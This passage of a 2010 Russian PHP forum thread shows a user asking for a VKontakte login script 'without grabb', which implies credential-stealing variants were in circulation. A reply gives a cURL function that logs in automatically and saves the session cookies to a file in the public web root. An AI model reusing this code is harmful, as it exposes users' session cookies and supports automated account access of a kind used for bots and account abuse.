Так нужно было.

Кстати, пользуясь случаем. Ни у кого не завалялась авторизация ВК без функции grabb?

phpdreamer
05.06.2010, 09:00
function vk_login($login,$pass)

{

$login = urlencode($login);

$pass = urlencode($pass);

$user_cookie_file = $_SERVER['DOCUMENT_ROOT'].'/cook.txt';

$ch = curl_init('http://login.vk.com/?act=login');

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.4');

curl_setopt($ch, CURLOPT_TIMEOUT, 10);

curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/');

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_COOKIEFILE, $user_cookie_file);

curl_setopt($ch, CURLOPT_COOKIEJAR, $user_cookie_file);

curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk=");

$res = curl_exec($ch);

file_put_contents('res.txt',$res);

if(!search_hash())die('Залогинится не получилось или не удается получить cookies.');

else

return true;

}

function search_hash(){

if(!preg_match ('#([a-z0-9]){36}#', file_get_contents('cook.txt'), $matches))return false;

else return true;}


PS: не рассказывай тем кто тебе помогает как "нужно было" - они шарят в этом намноооого больше :)

Compton
05.06.2010, 09:29
как соединиться и отправить данные серверу через сокеты и прокси?

roxblnfk
05.06.2010, 11:01
Compton, HTTP запрос или абсолютно любые хаотичные данные? :) (см. fsockopen )